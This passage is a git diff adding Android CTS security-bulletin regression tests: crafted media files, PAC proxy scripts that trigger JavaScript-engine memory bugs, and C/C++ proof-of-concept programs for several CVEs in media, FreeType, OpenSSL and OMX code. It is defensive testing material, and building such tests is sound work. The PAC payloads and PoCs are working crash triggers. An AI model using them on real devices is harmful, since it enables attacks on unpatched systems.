diff --git a/hostsidetests/securitybulletin/res/cve_2017_13234.xmf b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
new file mode 100644
index 0000000..3c249fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_13234.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_1988.mp4 b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
new file mode 100644
index 0000000..cdff65b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2046.pac b/hostsidetests/securitybulletin/res/cve_2019_2046.pac
new file mode 100644
index 0000000..82ef431
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2046.pac
@@ -0,0 +1,27 @@
+function FindProxyForURL(url, host){
+ const f = eval(`(function f(i) {
+ if (i == 0) {
+ class Derived extends Object {
+ constructor() {
+ super();
+ ${"this.a=1;".repeat(0x3fffe-8)}
+ }
+ }
+
+ return Derived;
+ }
+
+ class DerivedN extends f(i-1) {
+ constructor() {
+ super();
+ ${"this.a=1;".repeat(0x40000-8)}
+ }
+ }
+
+ return DerivedN;
+ })`);
+
+ let a = new (f(0x7ff))();
+ a;
+ return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
new file mode 100644
index 0000000..d8f7d4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213.hevc b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
new file mode 100644
index 0000000..f34f874
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213.hevc
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
new file mode 100644
index 0000000..0dde4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0213_info.txt
@@ -0,0 +1,2 @@
+73 32 0
+304 0 33333
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.info b/hostsidetests/securitybulletin/res/cve_2020_0381.info
new file mode 100644
index 0000000..510c136
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.xmf b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
new file mode 100644
index 0000000..cbe4bbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0383.info b/hostsidetests/securitybulletin/res/cve_2020_0383.info
new file mode 100644
index 0000000..175c47c
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0383.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0383.xmf b/hostsidetests/securitybulletin/res/cve_2020_0383.xmf
new file mode 100644
index 0000000..921efe1
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0383.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.info b/hostsidetests/securitybulletin/res/cve_2020_0384.info
new file mode 100644
index 0000000..e74b507
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.xmf b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
new file mode 100644
index 0000000..5056ce3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.info b/hostsidetests/securitybulletin/res/cve_2020_0385.info
new file mode 100644
index 0000000..f0d0459
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.xmf b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
new file mode 100644
index 0000000..6437f9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0451.aac b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
new file mode 100644
index 0000000..7b04e05
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0451.aac
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0470.mp4 b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
new file mode 100644
index 0000000..d77b2f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0470.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0393.pac b/hostsidetests/securitybulletin/res/cve_2021_0393.pac
new file mode 100644
index 0000000..42038b61
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0393.pac
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host) {
+ let s = String.fromCharCode(0x4141).repeat(0x10000001) + "A";
+ s = "'" + s + "'";
+ eval(s);
+ return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0396.pac b/hostsidetests/securitybulletin/res/cve_2021_0396.pac
new file mode 100644
index 0000000..5677445
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0396.pac
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+ var evil_call = eval("(function(" + Array(65535).fill("x").join(",") + "){})");
+ f(evil_call());
+ return "DIRECT";
+}
+
+function f(){}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
new file mode 100644
index 0000000..33d0680
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2015-6616",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ],
+
+ include_dirs: [
+ "frameworks/av/media/libdatasource/include",
+ "frameworks/av/media/libstagefright/include",
+ "cts/hostsidetests/securitybulletin/securityPatch/includes",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "libmedia",
+ "libdatasource",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
new file mode 100644
index 0000000..8d175cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <sys/types.h>
+#include <media/DataSource.h>
+#include <datasource/FileSource.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <android/IMediaExtractor.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MetaData.h>
+#include "../includes/common.h"
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+void * operator new(size_t size) {
+ if (size > 64 * 1024 * 1024) {
+ exit (EXIT_VULNERABLE);
+ }
+ return malloc(size);
+}
+
+using namespace android;
+
+int main(int argc, char **argv) {
+ (void) argc;
+ (void) argv;
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = new FileSource(argv[1]);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void* creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ MediaTrack* source = mediaExtractorCUnwrapper->getTrack(0);
+ if (source == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ source->start();
+
+ dlclose(libHandle);
+#endif /* _64_BIT */
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
new file mode 100644
index 0000000..28bb271
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-10244",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libft2",
+ ],
+ cflags: [
+ "-DCHECK_UNDERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
new file mode 100644
index 0000000..ad8b6e0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdint.h>
+
+#include <ft2build.h>
+#include FT_FREETYPE_H
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *fp = fopen(argv[1], "rb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ if (size < 1) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+
+ uint8_t *data = new uint8_t[size];
+ if (!data) {
+ fclose(fp);
+ return EXIT_FAILURE;
+ }
+ (void)fread(data, sizeof(uint8_t), size, fp);
+ fclose(fp);
+ fp = nullptr;
+
+ FT_Library ftLib;
+ if (FT_Init_FreeType(&ftLib)) {
+ delete[] data;
+ return EXIT_FAILURE;
+ }
+
+ FT_Face ftFace;
+ FT_New_Memory_Face(ftLib, data, size, -33, &ftFace);
+
+ FT_Done_FreeType(ftLib);
+ delete[] data;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/Android.bp
new file mode 100644
index 0000000..9a85317
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2016-2182",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libcrypto",
+ "libssl",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/poc.cpp
new file mode 100644
index 0000000..78e1e73
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2182/poc.cpp
@@ -0,0 +1,138 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <string.h>
+#include <openssl/ssl.h>
+#include <openssl/crypto.h>
+#include <openssl/bn.h>
+#include <memory>
+#include "../includes/common.h"
+
+/** NOTE: These values are for the BIGNUM declared in kBN2DecTests and */
+/** must be updated if kBN2DecTests is changed. */
+#if _32_BIT
+#define ALLOCATION_SIZE 52
+static const int sMallocSkipCount[] = {1,0};
+#else
+#define ALLOCATION_SIZE 56
+static const int sMallocSkipCount[] = {0,0};
+#endif
+
+static const char *kTest =
+ "123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890";
+
+static int sCount = 0;
+static bool sOverloadMalloc = false;
+int loopIndex = 0;
+
+template<typename T>
+struct OpenSSLFree {
+ void operator()(T *buf) {
+ OPENSSL_free(buf);
+ }
+};
+
+using ScopedOpenSSLString = std::unique_ptr<char, OpenSSLFree<char>>;
+
+namespace crypto {
+template<typename T, void (*func)(T*)>
+struct OpenSSLDeleter {
+ void operator()(T *obj) {
+ func(obj);
+ }
+};
+
+template<typename Type, void (*Destroyer)(Type*)>
+struct OpenSSLDestroyer {
+ void operator()(Type* ptr) const {
+ Destroyer(ptr);
+ }
+};
+
+template<typename T, void (*func)(T*)>
+using ScopedOpenSSLType = std::unique_ptr<T, OpenSSLDeleter<T, func>>;
+
+template<typename PointerType, void (*Destroyer)(PointerType*)>
+using ScopedOpenSSL =
+std::unique_ptr<PointerType, OpenSSLDestroyer<PointerType, Destroyer>>;
+
+struct OpenSSLFree {
+ void operator()(uint8_t* ptr) const {
+ OPENSSL_free(ptr);
+ }
+};
+
+using ScopedBIGNUM = ScopedOpenSSL<BIGNUM, BN_free>;
+using ScopedBN_CTX = ScopedOpenSSLType<BN_CTX, BN_CTX_free>;
+} // namespace crypto
+
+static int DecimalToBIGNUM(crypto::ScopedBIGNUM *out, const char *in) {
+ BIGNUM *raw = nullptr;
+ int ret = BN_dec2bn(&raw, in);
+ out->reset(raw);
+ return ret;
+}
+
+void* (*realMalloc)(size_t) = nullptr;
+
+void mtraceInit(void) {
+ realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ return;
+}
+
+void *malloc(size_t size) {
+ if (realMalloc == nullptr) {
+ mtraceInit();
+ }
+ if (!sOverloadMalloc) {
+ return realMalloc(size);
+ }
+ if (size == ALLOCATION_SIZE) {
+ if (sCount >= sMallocSkipCount[loopIndex]) {
+ return nullptr;
+ }
+ ++sCount;
+ }
+ return realMalloc(size);
+}
+
+using namespace crypto;
+
+int main() {
+ CRYPTO_library_init();
+ ScopedBN_CTX ctx(BN_CTX_new());
+ if (!ctx) {
+ return EXIT_FAILURE;
+ }
+ for(loopIndex = 0; loopIndex < 2; ++loopIndex) {
+ ScopedBIGNUM bn;
+ int ret = DecimalToBIGNUM(&bn, kTest);
+ if (!ret) {
+ return EXIT_FAILURE;
+ }
+ sOverloadMalloc = true;
+ ScopedOpenSSLString dec(BN_bn2dec(bn.get()));
+ sOverloadMalloc = false;
+ if (!dec) {
+ return EXIT_FAILURE;
+ }
+ if (strcmp(dec.get(), kTest)) {
+ return EXIT_FAILURE;
+ }
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
new file mode 100644
index 0000000..c2b7636
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-2485",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..75f8b82
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+#include <fstream>
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream file(argv[1], std::ifstream::binary);
+ long size = FILE_SIZE;
+ uint8_t *buffer = new uint8_t[size];
+ if (!buffer) {
+ file.close();
+ return EXIT_FAILURE;
+ }
+ file.read((char *)buffer, size);
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
+ omxExitOnError(ret);
+
+ /* Set OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ if (!params) {
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->nBufferSize = INPUT_BUFFER_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+ /* Prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ /* Set OMX output port parameters */
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nPortIndex = OMX_UTILS_OP_PORT;
+ params->nBufferSize = VULNERABLE_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+ /* Prepare output port buffers */
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = VULNERABLE_SIZE;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp<android::hidl::memory::V1_0::IMemory> mem =
+ mapMemory(inputBuffers[i].mHidlMemory);
+ memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
+ INPUT_BUFFER_SIZE);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &inBufferId[i]);
+ }
+
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (int i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &outBufferId[i]);
+ }
+
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+ while (currentTime < endTime) {
+ sleep(SLEEP_TIME_IN_SECONDS);
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (numCallbackEmptyBufferDone != inBufferCnt) {
+ free(params);
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ free(params);
+ file.close();
+ delete[] buffer;
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
new file mode 100644
index 0000000..1250ec6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2016-6328",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+ shared_libs: [
+ "libexif",
+ ],
+ compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
new file mode 100644
index 0000000..366dd0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-6328/poc.c
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
